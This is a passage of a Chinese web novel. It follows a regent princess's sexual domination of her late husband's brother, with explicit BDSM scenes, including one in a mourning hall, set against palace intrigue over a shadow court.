他的声音越说越小。越长风往他的脸上不轻不重的扇了一下,不耐烦的问:“准许你什么?” 柳孤城嗫嚅着说出了两个字。 巴掌落在他的臀上。“大声点。” 柳孤城几乎是用吼的,带着支离破碎的哭腔再次喊出了支配者想要听到的两个字。 越长风在他耳边轻笑,如他所愿:“准了。” 这是柳孤城这辈子听过最好听的两个字。 这也是越长风这辈子看过最让人舒爽的画面。 男人的身子上下颠动,浑身酸软无力,头皮阵阵发麻,却又无法置喙她那没有因为得到收成而有所松懈的勤恳劳作。 眉目如画的清隽俊脸上一副被玩坏了的迷离,这是越长风没有从柳时言脸上看见过的表情——就算身上一片狼藉,他也总是那副送容自若的样子,反过来搂着她的身子与她温存,任吃饭喝足的她替自己细细清理。 她为什么会曾经对柳时言那样的矜高公子一往情深呢? 明明,这样被欺负狠了的模样才是男人最美的风景。 越长风眉眼含笑,鉴赏着眼前这副男人最美的风景,柳孤城已经登顶,她却显然没有就此打住的意思。 “本宫给了你‘慈悲’,不用谢恩的么?” 柳孤城瘫软在床,意识模糊,却仍是条件反射的说了句“多谢主人”。 ——还可以再多一点。他这么会忍,离开玩坏还差得远了。 越长风轻蔑的笑笑,无情命令:“转过身子,跪伏着求本宫继续。” 柳孤城才刚摆好姿势,身后的人不给他一点时间,又开始在他的身上工作,他刚下意识地扭动了一下,背上又被扬手掴了一巴。 男子嘴里似乎在呢喃什么,越长风也不再催他,从后环抱住他的腰腹,一边勤勉的工作着,一边抚上了他背后伤痕。 她感觉到男人的身子一下僵住。 “疼?”她俯身在他耳边轻问。 “不疼。”柳孤城浑身僵硬,嘴里却是答得很快。 也很诚实。 越长风现在知道了他曾经做过柳时言的替身暗卫,也大概明白了这些班驳鞭痕的来源。没有多少同情心的她也没有因此产生什么恻隐之心,只是觉得有些可惜,自己不能做第一个把男人背上这幅洁白画卷染污的人。 但就算不是出自她自己的手笔,她也必须让男人接受并拥抱自己卑微和破碎的过去。 “很漂亮。”她一边亲吻,一边温柔的笑道:“柳孤城,你的身子是属于本宫的,本宫对每一部分都很满意。” 这是她第二次连名带姓地唤他真正的名字。不是柳郎,也不是柳四郎——彷佛她的目光真的停驻在了柳孤城这个人身上,两人之间再没有别的人,也没有别的目的。 话音刚落,越长风明显感觉到男人僵硬的身子一软。 她连忙加快速度,又一次把人送到登顶边缘。 这次他没有忘了问准。 “不准。”越长风第一次拒绝了他。 柳孤城的身子又是一僵,不知是出于错愕,还是在用意志力强行逆转生理反应。 越长风伏在他背上轻笑:“想问为什么?” 柳孤城声音低哑,一字一顿的回答:“主人只要想,那就可以。” 越长风手下一揉,谓叹:“聪明的小骗子。” 待他放松又绷紧,绷紧又放松,像这样来来回回了三次,她才高高在上的命令:“准了。” 柳孤城趴在床上,面容朝下,一动不动的似乎是体力透支,正在回神。 背对着越长风的双眸却不仅是睁着的,且是眸光如电,深处还有一抹意味深长的笑意。 他很清楚,越长风忽然驾临柳府,可不只是为了来检查他的规矩这么简单。 她不相信柳家家主没死,在把他拖住的这段时间里,玄武卫大概已经把整个柳府掘地三尺的搜索。 既然他的“主人”想要,为奴的他又何不帮她一把? 反正,她是不会找到的——聚贤阁本来就不在柳府地下。 越长风大概是目的已经达到,见他纹丝不动的瘫在床上,淡淡丢下一句:“柳郎今天还算听话,本宫尚算满意。” 她顿了顿,又道:“自己清理干净了,别忘了笼子。” 然后转身便要走。 柳孤城却忽然转过身来,一丝\不挂的他对上衣冠楚楚的支配者,两人之间彷佛隔着天差地远的距离,他却逾距地伸手抓住了她广袖上的衣角。 “不要走。” “……主人。” 第35章 第35章想要长长久久,需要的只…… “怎么了?”越长风回过身来,好整以暇的看着欲言又止的男人。“若是不愿戴上笼子,那就回长公主府好了。” 女郎脸上神情慵懒,说出来的话却向来说一不二,若是尝试让她收回成命得到的只会是更严苛的训诫。 柳孤城却只是定定的注视着她,眸中闪烁着固执的点点星光。他从床上爬了起来,身上只披着薄薄锦被,活像被负心郎用完即弃的可怜虫。 “如果主人尚算满意,”他微微笑道:“那奴可还有与主人共浴的资格。” ——不是共浴,是侍浴。 水汽弥漫,越长风半躺在浴池旁的小榻上,懒洋洋的一根手指头也不想动。 柳府里没有专属他的那些纱衣,柳孤城穿着仅仅蔽体的薄薄中衣,面对女郎乖巧的跪坐着。 越长风解开罗裳的束腰,斜眼一睨,柳孤城会意,跪直身体为她褪下外裳,低头用口舌将里面的裤腰拉松,然后恭顺地请求:“求主人让奴伺候。” 这就是支配者又一条的严苛规矩:他本没有资格侍浴,想要碰触主人,只能低眉顺眼的求恳。 越长风似乎心情不错,没有为难他的意思,屈尊抬了抬身子,任由男人小心翼翼的为她褪下里衣里裤,然后在她的睥睨之下把自己仅有的中衣脱掉。 ——只剩下重新锁上的金丝笼子。 这也是越长风第一次与柳孤城坦诚相见。无论是在昭庆宫还是长公主府,她每一次玩弄他时都不屑脱衣,象征权力和地位的衣冠永远都是齐齐整整,只用玉器和玉手来玩弄身无寸缕以驯服姿态取悦自己的他,以此来彰显自己的威严与男人的卑贱。 事实上在柳时言之后,她便从来没有与人裸呈相对。她每每玩弄男人,心底都好像有把声音在阻止自己对那人坦露,彷佛对人坦露,便是在打开自己。 而上位者从来最忌打开自己。风光背后是怎样的过去有沈约一人知道便已足够,她不需要别人理解,也不需要别人同情——反正她对别 人也没有什么同理心,也不会尝试了解别人。 她只需要驾驭就好。 如今她和柳孤城双双肉帛相见的浸在浴池,迷濛的水汽之中那张脸再次和曾经的柳郎重叠,她又彷佛回到了八年前和柳时言新婚燕尔的时候。 只是,那时候她和柳时言云雨过后,为他细心清洁、给他按摩舒压的是她;觉得自己过于粗暴而感到自责、温声软语好言相哄的也是她。 柳时言宠她纵她,会不好意思的按住她的手,柔声道:“鸢鸢,我没事的。” “我喜欢与你亲近……无论是哪一种亲近,我也可以。” 他也会在她感动得泪眼汪汪的时候搂过她的身子,用自己炽热的体温温暖着她,一边轻飘飘的说着:“我现在是驸马都尉,这辈子都与仕途无缘了,可是为了鸢鸢,柳时言此生无悔。” “只是我虽与权力无缘,陛下还是这么看重你,你可要牢牢抓住这手中权力啊。” 那时候柳时言还不知道,为了那一句“非君不嫁”,越长风早已把当初拥有的权力全部交还。 十六岁的她自以为所谓真爱有多伟大,为了真爱放弃权力、放弃尊严——她都快要把自己感动得一把鼻涕一把眼泪,却没想过这样的牺牲反而直接导致了“真爱”本人的背叛。 后来,她终于明白了,爱本不能驭人,只有权力可以。 就像现在她倚着池壁半躺半坐,柳时言的弟弟、比他还要青出于蓝的柳家下任家主只能安静地跪在她的脚边,捧着双手鞠起池水,小心翼翼的伺候着她洗浴。 她不需要对柳孤城面面具到的温柔爱抚,也不需要为了他的“喜欢”而将就;她只需要随心所欲的玩弄他、亵渎他,无论有多残忍还是粗暴柳孤城也只能受着,而且明明被玩坏了的是他,偏偏也还是他必须忍着身上酸痛在事后侍奉主人,而她只需静静享受便好。 越长风忆起当初的时候心里还有些唏嘘,眼前此境却让她心情大好,她一边享受着柳孤城的服侍,一边随心所欲的把玩他的身子。 男人开始为她搓洗一头青丝。她阖上眼睛,问:“现在是什么感受?” 没头没尾的问题,柳孤城却听得明白,低声回道:“没有感受,主人。” “你做得很好,柳孤城。”越长风忽然连名带姓的唤他,满意的感觉到伺候自己的大手一僵。 “其实并没有那么难,不是吗?”她轻飘飘的问。“人与人之间本来就有贵贱之分,臣服于本宫并不羞耻。” 柳孤城收回了手。 “不是的。”他轻声说,嗓音里彷佛在压抑什么大起大落的感情。“人本应该生而平等。” “继续。”越长风不满他的动作停下,不耐烦的命令。 柳孤城下意识地把手重新放回她的头上。 就算还是那头桀骜不驯的狼,他的爪子已经学会了自动服从。 越长风这才接着问:“那为什么本宫坐着,而你跪着?” 柳孤城没有回应。 越长风却从不允许沉默。“嗯?” 柳孤城想了半晌,记起了她曾经说过的话:“因为奴有所求,而主人施捨於奴。” “所以,本宫对你的管教和玩弄是自上而下的施舍。”越长风阖着眼睛,理所当然的说道:“你只要明白这一点,就能明白这是本宫对你独一无二的爱。” 在昭庆宫的一夜云雨过后,柳孤城曾经说过,他想知道他的长兄曾经拥有过什么。 柳时言曾经得到过那份洁白无瑕的爱早已被他自己的鲜血染污、腐蚀,天下间再也无人可以得到;但越长风可以给他一份以高低贵贱的地位差为基础的,一份以控制和被控制、施責与受責为前提的,来自支配者独一无二的“爱”。 “现在柳郎有什么感受?”越长风张开眼睛,指指他的胸前示意他用软硬适宜的肌肉为自己按摩。“本宫允许你说出自己的想法。” 柳孤城定定的注视着她,眸光深深,像不见底的深渊。 或许是眼下两人之间的坦诚相见助长了他的勇气,又或者是作为聚贤阁主的阴沈冷厉一面在这一刻浮面,他深深吸了一口气,平静的说:“我不需要这种施舍的‘爱’……我想要的是人与人之间那种平等的关系。” 越长风笑着在他身上捏了一下,没有生气,却是直接否定了他:“你需要的就是这种施舍的爱,还有人与人之间从来就没有平等的关系,所谓的平等只会带来痛苦。” “自你出生以来便没有平等二字,也没有人愿意施舍你一点感情,你是柳家家主和主母的耻辱,没有人会对一个耻辱有半分同情,也没有人会将一个耻辱放在和自己同样的高度。” “本宫不知道你这些年是如何走过来,只知道你学会了与那个把你当作耻辱的人虚与委蛇,借此回归柳家;你也学会了向本宫低头,来换得本宫为你排除异己、助你登上家主之位。可见你这一生都在学会顺从,学会把自己放在卑贱的下位来得到别人给你的东西。如果你当真把自己放在平等的位置上,又怎会得到你现在拥有的一切?” “你的人生本来毫无意义,”她没有直接点破柳孤城曾经作为柳时言替身暗卫的事实,只是旁敲侧击的隐喻。“你生来没有自我、没有人格,从前的你一直都是为了別人而活,现在的你有了自己、有了意义,所得到的一切也不过是由旁人施予而来。” 柳孤城的眼里燃起了点点星火,他也不顾规矩,昂首倔强的道:“我的人生,不需要外人来为我定义!” 越长风的手搭上他的后颈轻轻掐着,虽不致于让他呼吸困难,却也让他感到无法忽略的压迫感:“是吗?” 她微微歪头,明媚亮丽的桃花眼像是真心不解的看着他:“那柳郎到底想要从本宫身上得到什么?” “我想——”头两个字冲口而出,柳孤城却忽然打住。 两人之间沉默片刻。 越长风忽然抬脚,在金丝笼上重重一碾。 “呜呃——!!!” 柳孤城本已被玩得身心具疲,毫不留情的一脚更是让他软了身子。 “主人,请慈悲!”他不知是真是假的低下了桀骜不驯的头。 “方才在你屋里的时候,你快乐吗?” 柳孤城一时没有反应过来。 越长风不再是那副好声好气的温柔模样,脚下又是一碾,冷漠问:“忘了回话了?” 身上没有戴着金链,可平时上着“规矩”的部位彷佛隐隐作痛,让男人不禁身躯一颤。 “是,主人。”他下意识的回话。 “那就是了。”越长风轻蔑的笑。“既然你的痛苦和快乐,都是基于不平等的本质下由本宫所赐予。” “那为什么不去直面这些由本宫施舍给你的痛苦和快乐呢?你这辈子本来就是充斥着痛苦——全天下的所有人都只会施加给你的痛苦,从来都无法解决也无法逃避,你能做的一直都只是面对。” “当你从本宫给你的痛苦中也感受到本宫给你的快乐时,你便会感到归属感,你是从属于本宫的东西,本宫会继续施予给你,这就是你的意义。” 越长风大发慈悲的放松了手上和脚上的力度,玉指转而摩挲男人被蒸气和不忿烫得发热的脸。 她也知道自己接下来的话是最重要的一环,恶狼就算无法一举驯化,就像她可以让他下意识地跪下和回话一样,她也必须把“臣服”的价值观烙在他的“下意识”里。 “你以为爱是平等,那是因为你比任何人都缺乏真正的爱。你大哥已经死了,本宫和驸马所谓举案齐眉、平等的爱就是镜花水月,一点也不长久。” “人人生而平等,那是就生命而言,千古英雄,偷生蝼蚁,都会平等地死。但在人活着的时候,面对另一个活人的时候,人与人之间便分了高下。” “正如你从出生的那一刻起就被放在耻辱的位置上,本宫现在不过是把你重新放在奴宠的位置。而本宫可以向你保证,这个位置,绝对比你大哥的驸马之位长久得多。” “因為人生在世,想要长长久久,需要的只有命令和服从。” 她目不转睛的凝视着他,一字一顿的说道:“臣服于我,就是你的意义。” - 承元十六年,在国子监开班讲学的翰林编修沈约问了全天下最尊贵的五位学生一个问题。 问题是:人生诸般无奈,身如浮萍,行如逆旅。诸君迎难而上,为的是什么? 十六岁的柳时言温润如玉,眸光深处却似有烈火灼然。 “为了做我自己。”他答。“不是柳家大郎,不是柳氏家主,而是以我柳时言之名顶天立地,行走世间。” 十二岁的越长风心驰神往的听着,看着少年眼里的火光熊熊,又转头看向高高宫墙外自由自在翱翔天际的鸢鸟。 小手指向鸢鸟:“老师,我很羡慕牠们。” “我的名字也是鸢鸢,我也想走遍天下,看遍名山大川,不受高墙所限,不用活在别人的规条和眼光之下;我也想像牠们一样无拘无束的活着。” 沈约微微一笑,笑中似乎有些长者的宠溺,又似乎有些对于二十四岁的他来说已是过于老练的沧桑。 他没有说任何打击少年少女梦想的话,只是那抹微笑被他强行勾成了鼓励的笑:“十年后,为师再来问诸位这条问题,好不好?” 可是在十年后,废太子、二皇子和三皇子都死了,曾经想要活出自我的柳时言也只剩下柳家陵园里一块“天妒英才”的墓碑,身后之名只有公主下降时的一句“惊才绝艳,世无其二”。 越长风是唯一活了下来的“得意门生”,可是那个看着鸢鸟心驰神往的鸢鸢也已经死了。 人人看似生而自由,却无不活在枷锁之中。 接受了没有自由的话,谁不是屈服于痛苦逸乐,支配者和被支配者在这一点上其实并没有分别。 第36章 第36章灵堂、本宫是你的嫂嫂…… 越长风离开柳府的时候,日头已经西斜。 候在府外的长公主车驾旁站着玄袍金冠的玄武司使,眸光深沉,低眉垂首,不知在那里默默站了多久。 越长风经过他身边时看也不看,只是淡声命令:“上来回话。” 陆行舟默默跟在她的身后上车,越长风在柳府里已经沐浴更衣,穿戴整齐的身上没有留下那个男人的污秽痕迹,也没有可以让他细细清理的余地。他只是在软榻一旁跪坐下来,藏在衣袖下的手指躁动不安的互相捏着指尖。 他坐得够近,鼻中仿佛还能闻到女郎身上的一阵松木清香。越长风冶艳张扬,从来不用这些清浅得快要融进四周自然的淡雅香气;这种装模作样故作清高的味道,当然是属于柳府里面那个披着矜贵外皮的小贱人。 他知道,却不能说。水榭里的公开羞辱固然是对柳孤城的一场调教,同时也是对在场众人的一个警告。越长风在警告他,没有她的允许,她想怎样对任何一个人他陆行舟都没有资格去管。 “主上。”陆行舟沉声唤道。 越长风半躺在榻上,轻飘飘的问:“找到那老东西了没?” 陆行舟神色一暗。“没有。” 在她尽情宠幸亵玩柳孤城的时候,他早已让人探察并搜索了柳府的每一寸土地,就连柳孤城本人的院子他也趁着两人去了浴池的时候搜过一遍,然而并没有任何得着。 “那你还觉得他是被人李代桃僵了吗?” 陆行舟顿了顿,越长风的声音淡淡的没有什么起伏,好像她问的是最平常不过的问题,但他却从中听出了怪责之意。 是怪他捕风捉影、多番怀疑,还是怪他处处针对的人是她的新面首?陆行舟隐隐觉出了越长风对柳孤城和其他人之间的不同,也许是因为那张和柳时言相似的脸,但是这人却比其他任何一人都要危险,明明是身世成谜、满口谎言的一头潜伏的狼,她却偏偏把他放在身边,在他身上花了那么多的时间精力,只为把人驯养成犬。 明知她未必喜欢自己的答案,但陆行舟仍是坚定的道:“是。” 他是主上的手中剑、脚前犬,他要做的只是听从主上的命令,确保主上人身安全。主上兴之所至,或者会把他当成取悦自己的一件死物工具,但他不能表现出有一分逾越,也不能表现出他心中妄念的十分之一。 他收敛杂念,正色道:“在柳府找不到,但使唤得动替身暗卫的除了家主本人便只有比他地位更高的人。劫囚的事若非柳家中人所为……便只有聚贤阁一个可能。” 越长风“嗯”了一声,眼眸半眯,懒懒换了个姿势,又觉得手下有些空虚,便朝脚下男人勾了勾手指。陆行舟会意,微微挪近了些,让她把手放在自己的头上作为手靠。 越长风揉揉他梳理得一丝不苟的发顶,男人的身子僵硬不如顾锦卿的绵软,气场阴冷不像裴玄阳光暖煦,那张木然的脸上也没有柳孤城让支配者感到征服欲爆棚那副羞愤欲滴的表情。 可陆行舟还是挺趁手好用的一件工具。沉默少言,执行力强,而且绝对忠诚。 “如果是聚贤阁所为,他们把柳家家主换了出来大概并不是为了救他,而是在他身上还有聚贤阁想要的东西。”越长风一边在“靠手”的头上摩挲,一边说道:“所以,在本宫那好公公身上到底有什么值得掌控朝野的影子朝廷去劳师动众地把他换出来呢?” 陆行舟听见“好公公”三个字,眉头下意识的一皱。 小动作落在越长风的眼里,她却没有点破,只是轻轻一笑,自顾自的说着:“你觉得,柳孤城会知道吗?” 陆行舟私心上想说“会”,可是他手上的确没有任何柳孤城和聚贤阁有关的证据。柳十三只说过“小贱人”曾经是柳时言的替身暗卫,后来和柳家家主达成某种交易获得外放,之后的人生是一片空白,直到被柳家家主以四郎身份被接回柳家。 他无法罔顾事实,昧着良心说出那个“会”字。“卑职不知道。” 越长风动作一顿,似笑非笑的看着他:“陆司使倒是老实。” 陆行舟敛眉,像极了攻击性极强的猎犬收起爪牙,面对主人乖巧忠顺的姿态。 “那如果,柳孤城当上了柳家家主呢?”越长风单手支颐,一副真心好奇而认真思考的模样。“接替他父亲和长兄的位置,那也就没有借口不去接触影子朝廷的核心了吧?” “你觉得,对于聚贤阁的真相,小骗子又会不会对本宫和盘托出呢?” “卑职不知。”陆行舟面无表情,沉声回道。 越长风撇了撇嘴,“无趣。” 陆行舟眸光一黯,却是默认了她这句无趣。 这时她又说:“不过无趣的人,办起事来最是可靠。” 冷峻男人的嘴角几不可见的微微翘起。 “把御史台狱那条尸体交给柳家,对外公布左仆射的死讯。”越长风对可靠的无趣男人发出命令:“得了死讯,柳家才会选出下任家主,本宫也是时候兑现给小骗子的承诺了。” ----- 柳家家主是由柳氏之中拥有家业的各房男丁,根据家业比例权重之下选出。 老家主的死讯确认之后,柳府上下没有即时出手丧葬的事,反而要先选出下任家主,再由这位新任家主主持上任家主的一应殡仪事项。 下任家主的候选人本来不只柳孤城一人,相比他这位五六年前才由地下蹦出来的“四郎”,自小被先家主培养的二郎三郎、甚至是一些手握部分实权的叔伯想要接任家主,其实都比柳孤城要名正言顺得多。 可惜,那些依附于先家主和嫡长大郎的“正统”派系可以被聚贤阁清算的早已被消失,手握实权过大而不好动的叔伯都在交到越长风的那两本帐簿上,除掉他们根本不用柳孤城费一兵一卒。二郎三郎虽然都是先家主的亲生儿子,但他们自小便活在柳时言的影子 之下,无论在官场上还是家族里都是家族里都是庸庸碌碌,根本就玩不过同时拥有聚贤阁主这另一重身份的柳孤城。 服从于聚贤阁的那些人早已收到阁主命令扶持他钦点的“傀儡”柳孤城,偌大一个柳家竟然就这样由一个看起来毫无背景、过去一片空白的青年接掌成为家主。 新任家主作为先家主的孻子和今后代表柳氏的族长,正式在柳府正堂为亡父设了灵堂。灵堂连开三日,这位新任家主便在灵前跪足三日,除了做足孝子功夫以外,时人更赞家主风范,可担大旗。 长公主的銮驾在出殡前夜的第三天晚上姗姗来迟,来的是慢了点,可是那大摇大摆的阵势却仿佛要天下无人不知,她对这位本来已经是待罪之身的“前公公”的孝敬和重视。 越长风在仪仗簇拥之下大摇大摆的走进柳府,这时前来吊唁的人都已经散去,灵堂里的其他家属也已经回到自己院里睡觉,只剩下守夜的柳孤城一个人。 她眼泛泪光,嘴角微垂,好像真的是为“前公公”的死而感到黯然神伤一样,拿起三炷香颔首三次,插在灵前的香炉里。 柳孤城默默看着她完成一连串的动作,直到越长风挥退双方下人,他才走到他的面前,双膝一屈,缓缓跪了下去。 “这是什么,家属谢礼?”越长风调笑着问。 柳孤城额头触地,然后重新跪直身子仰头看她,一双眸子明静如深不见底的湖水。 “奴……见过主人。” “记性不错嘛,知道无论在什么地方,你都是本宫的什么东西。”越长风轻肆的笑笑:“是吗,柳家的新家主?” 听见“新家主”三个字,柳孤城的身躯似乎一震,平静如湖的眸子起了一丝涟漪。 “多谢主人让奴选上家主。”男人声音淡漠,像是初见时那株不近人情的高岭之花,出口的却是自卑自贱的话。“无论在什么地方,奴都是属于主人的奴。” 越长风对左仆射那老东西从来都没有什么好感,也没有真的把他当作公公,前来吊唁一是代表朝廷稳住柳家,二是不过为了继续维持自己的深情人设罢了。 只是她现在看着一身麻衣素服的男人,清隽禁欲的气质配上跪在自己脚下的卑微动作,明明已是高贵的世家家主却在自己面前俯首称奴,在灵堂这样庄严肃穆的地方背德的服从于自己。 三重反差以及控制欲得到膨胀的满足感如潮涌上,越长风抬脚勾起男人的下巴,居高临下的睥睨着他,轻佻的问:“那柳郎知道在这座灵堂里,你还是本宫的什么吗?” 柳孤城呆呆的看着她,茫然摇头。 越长风像常人喜欢用手挠挠宠物的颈部那样,用脚尖在男人的脖子上下擦了擦,才施施然的把脚收回,满意的看到男人的头仍然往自己的方向殷勤仰着。 她温温柔柔的笑着,情深款款的语气宛若情人之间的呢喃:“柳郎是里面躺着的人的儿子,而本宫是里面躺着的人的媳妇,你的嫂嫂。” “你说我们在灵堂里玩一出叔嫂相×,看着自己的长媳在灵前临幸孻子,左仆射大人在天之灵,会不会被气得灰飞烟灭?” 第37章 第37章唇舌、短暂的犯规…… 宽敞的香案上只放上了佛像、灵位、莲花灯和香炉。 佛像悲天悯人,灵位严肃庄重,莲花灯长明不灭,香炉插满了前来吊唁的人对往生者表示尊敬和怀念所上的香。 这些被柳氏子弟和吊唁宾客郑重对待的物件,此时却被随便扫到一旁,越长风坐在香案边上,一只脚吊在空中有一下没一下的挥着。另一只脚却是抵在香案前跪着的男人胸口上,男人脱掉了上身衣服,鞋尖便在光洁的胸肌上轻轻柔柔的打转。 柳孤城眸光幽深,深处似乎有一下火光燃点。 在庄严肃穆的灵堂里,祭奠的是她的前公公,脚下跪着任她用脚玩弄的是百年世家柳家的新家主、在世人眼中可望而不可即的高岭之花——也是,她名义上的小叔子。 反差和背德的快感实在有些上头,越长风神差鬼使的脱口而出:“叫嫂嫂。” 黑眸里的火光一下燎原,柳孤城双唇一抿,没有顺她的意叫出那声禁忌的称呼。 只在国子学里教过她几年的沈约可以自恃身份的叫她长风,不过是有钱金主和穷书生关系的顾锦卿可以一口一个姐姐一口一个小狗,来到他这里却不是主人和奴隶的关系,就是嫂嫂和小叔。 偏要隔着一个柳时言,偏要让他嗝应。 柳孤城沉默半晌,扁扁嘴角,哑声唤:“主人。” ……好样的,为了不和柳时言沾上边,竟然“忤逆”的叫自己主人了。本来属于羞耻和屈辱的称呼在此刻竟然被男人心甘情愿的叫出来,为的只是逃避他和自己、和他曾经被迫作其替身的长兄之间的关系。 越长风也不知道自己是应该愤怒,还是觉得好笑。她也不愠不火,只是好奇的问:“真的有那么不想做柳时言的弟弟?” 柳孤城摇头否定:“不是。” “那是不想本宫做柳时言的妻子?” 柳孤城沉默了。 一脚不轻不重的踹在他的胸口,柳孤城闷哼一声,身子向后一仰,却很快便再次挺直,姿态规整的重新跪好。 “回话。” “是,主人。” “为什么?” “因为……”柳孤城迟疑了一下。“……他不配。” 他不配。 这是第二个人说柳时言不配。第一个是陆行舟,他为人冷峻寡言,却是字字精僻;玄武门宫变的时候他本来就是处于太子阵营,曾经亲眼看着柳时言是怎样借着昭阳公主驸马之名拉拢朝臣、转身却与其他世家一起投向太子一方。 “为什么不配?”越长风收回脚,仍是吊在香案前有一下没一下的踢着,单手支颐仿佛真的在沉思这第二个人说的不配是在不配什么。 柳孤城定定的凝视着高高在上的支配者,脊梁似乎比刚才还要挺得更高更直,坚定的道:“因为他得来的一切全是假的。” “不过是投胎投得好了点,他的身份、背景、生命、甚至这一生所行的路全部都有人为他铺好了,从来都不用努力便得到所拥有的一切。”男人的表情似是嘲讽,却又有些落寞:“这样的人,不配。” 越长风一边听着,一边点头,仿佛真心认同他所说的每一句话,嘴角的微笑却透着嘲弄和轻蔑。 “本宫也没有多努力呀。”她一脸天真的笑着。“可本宫还是得到了你,不是吗?” 不是的。 柳孤城在心中叫嚷。 在柳十二还是接受训练和改造的替身暗卫时,他便以比同龄人远远要高的悟性和文才得到聚贤阁的注目,然后他把握机会,以成为枪替作为交换条件离开暗卫营和脱离柳家,进入比柳家更高的存在——由四大世家和太子组成的利益共同体,聚贤阁。但他的野心远远不止于无名无姓还要帮权贵代考的科举枪替,自进入聚贤阁以来他便一直留意着朝野动向,也留意着在柳家发生的大小事。 所以他知道十二岁的越长风为自己争取到了女孩本来无法进入国子监上学的机会;也知道她成绩出众,受承元帝重用得到出入紫宸殿辅理朝政的机会;因为知道那些东西都是放在别人身上本来并不可能的成就,也因为知道她是怎样由聚贤阁和柳家本来并不重视的一介女流成为了柳时言必须拉拢的对象,所以才知道她绝非没有努力。 他更知道,她从放弃一切权力地位嫁给柳时言做一届普通妇人,直到反杀不把她放在眼内的丈夫和三位兄长,架空父皇独揽大权,再到成为朝廷真正主宰的摄政长公主,她不仅绝非没有努力,她的努力比旁人远远要多,走的路比旁人为她所铺就的远远要长。 明明是出身和成长环境有着天渊之别的两个人,柳十二自出生以来便什么也没有,而昭阳公主什么都拥有最好的,他却从她身上隐隐看到了自己。 可是他还是违心的说:“是,主人。” 支配者只需要顺从,并不需要同情。 越长风轻轻一笑,似乎并没有把小骗子口是心非的回话放在心上。 “无论你怎么想,你大哥已经得到了所有最贵重的、最美好的东西,包括本宫这一辈子唯一的驸马之位。”越长风用脚挑起他的下颌,笑着说道。“你待如何,柳郎?” 他待如何? 他又可以如何? 一直紧守着为奴规矩的柳孤城忽然在没有主人命令之下站了起来,在越长风还未反应过来之前,高大的身影笼罩着她,后颈被覆上了一只温热的手,热切又激烈的吻已经堵住了她的双唇。 本来垫在膝下的麻衣被他拾起来一下扔在女郎身后的莲花灯上,灵堂的灯火暗了不少,加上四下一片寂静,感官被无限放大,混浊的呼吸声渐重,四唇变换着角度交接的啧啧声异样的清晰。女郎在身高的差距下被迫仰着头,接受着他密密麻麻落下的吻,但支配惯了的她却很快便化被动为主动,唇舌与入侵者的唇舌交缠,还放任自己发出了舒坦的轻哼。 自第一次被送入长公主府中直到现在,越长风对他的玩可说是花样百出,无所不用其极。可是,她却一次也没有亲吻过他。 大概是四唇交接的亲密感,最容易给人他们是平等相爱的错觉。 柳孤城不知是哪来的勇气,像是平等相恋的恋人一样,一个个温柔缱绻的啄吻落在支配者薄情的唇上。 越长风对他的犯规似乎没有立即抗拒,又或者她本来就想在前公公的灵堂上玩这么一场叔嫂××的游戏,配合地与他热情亲吻,甚至伸手往他上身精壮的肌肉线条上摸去,忽轻忽重的摩挲打圈,察觉到男人身子一僵的时候,交缠着的唇舌之间似乎溢出了一声玩味的低笑。 玉指一勾,拉开了里裤的系带,却没有立即放开。微凉的指背抵着滚烫的皮肤,把裤头往下微微一拽,笼子顶端探出头来,在微弱的灯光下发出柔和的闪闪金光。 身后的莲花灯忽明忽灭,越长风重新抬首看着柳孤城忽明忽暗的眸子,眉眼一弯:“你说父亲是不是看见我们叔嫂这个样子,迫不及待想要显灵了。” 她上一次在这座柳府灵堂里吊唁过柳时言,反常的莲花灯让她不只是想起了今天祭奠的前公公,她恍恍惚惚的总觉得柳时言也在冥冥之中看着这座灵堂里发生的事。 “别说他了。”柳孤城抓住她扣着裤头的手腕,却不知是想要让她扣紧,还是更想让她放开。“也别说什么哥哥弟弟叔叔嫂嫂的。” “现在只有我,柳孤城。” 难耐的燥意让他头脑发热,双目迷离,他更加紧密的啄吻着她的唇瓣,声音低沉沙哑,往她的唇上呼着气轻轻呢喃:“鸢鸢。” 两个字犹如欲\火焚身之际突如其来的冰水灌顶、当头棒喝,一下子把越长风周身熊熊烈火彻底淋熄,一棍子从天上打回地下。 “啪”的一声,重重的一巴掌毫不留情的打在柳孤城的脸上,直打得他放开了抚着主人后颈的手,身子不禁一仰,失去重心的往后倒退两步。 裤子滑落地上,露出了完整的笼子以及里面一大只可怜的金丝雀,可是氤氲暧昧的气氛已经被破坏殆尽,满室气温降至冰点。 “本宫的小字,是你配知道的么?”越长风的声音没有一点温度,像冰锥一般狠狠刺穿两人之间一下凝结的气场。“也是你叫得的么?” 柳孤城整个左边脸颊肿起,脸色一阵青一阵红的,紧咬着唇没有吐出一个字来。 红色的左边脸再次受了一下掌掴。 “规矩呢?” “噗通”一声,柳孤城几乎是摔下去的,双膝跪倒在地。 “奴有罪,主人。”他低垂双目,越长风看不见她最喜欢的那双眼眸,刻意压抑着的声音却空洞得很。 她冷峻不带丝毫感情的问:“你有什么罪?” 柳孤城很清楚知道自己犯了什么罪。他本来就是在刻意的挑战她的极限,刻意模糊主人和奴隶的界限、嫂嫂和小叔之间的界限,她和自己之间那些本来无法跨过的鸿沟。 可是,他踩过界了。 越长风的界线,是那个代表着过去的小字,鸢鸢。 所以,她将会把他今晚所犯的错,那些她早前刻意忽略掉去看他怎么演下去的错,统统翻倍的把帐算回来。 “奴没有在主人面前保持跪姿,不得主人允许站了起来。” “奴自称了我。” “主人问的话奴没有回。” “奴忤逆了主人的意思。” “奴没有管好属于主人的身体,没有允许之下……自作主张的碰了主人。” 明明男人心如明镜,每一个犯错的细节都记得清清楚楚,可是最重要的一样,他还是固执的没有认。 越长风整理衣襟,重新坐直身子,居高临下的睨视地上男人:“还有呢?” 柳孤城狠狠一咬,牙齿直咬到了舌头上,浓浓的血腥味在口中化开。 他舔着嘴里的血,重重的呼了一口气。 “奴妄想……与主人平等。……与大哥一样。” “呵。”越长风不置可否的冷笑,听不出她对这个答案的满意与否。 她忽然从香案上跳了下来,指出自己本来坐着的位置狠戾命令:“趴上去。” “上身贴在案上,视线朝下,翘起臀部,双脚点地。” 柳孤城往下趴去的时候,她甚至嫌他的动作不够干脆俐落,伸手毫不留情的把他的头往下按去,直到重重的和案面接触。 然后在他视线看不见的地方,她拿起了被拨到一旁的灵位。灵位上写着柳家前家主的名讳、左仆射的官职、在家族里第几代行第几的排名、以及曾经让他威风一世的第某代家主之称。 如今,却不过是一块趁手好用的木板而已。 “接下来你最好不要动,这是本宫对你最后的警告。” 第38章 第38章惩罚、本宫给过你一个机…… 光裸的男人上身贴着香案案面,双脚并拢仅仅点地,高高撅起的臀部像八月十五的满月一样又圆又白。 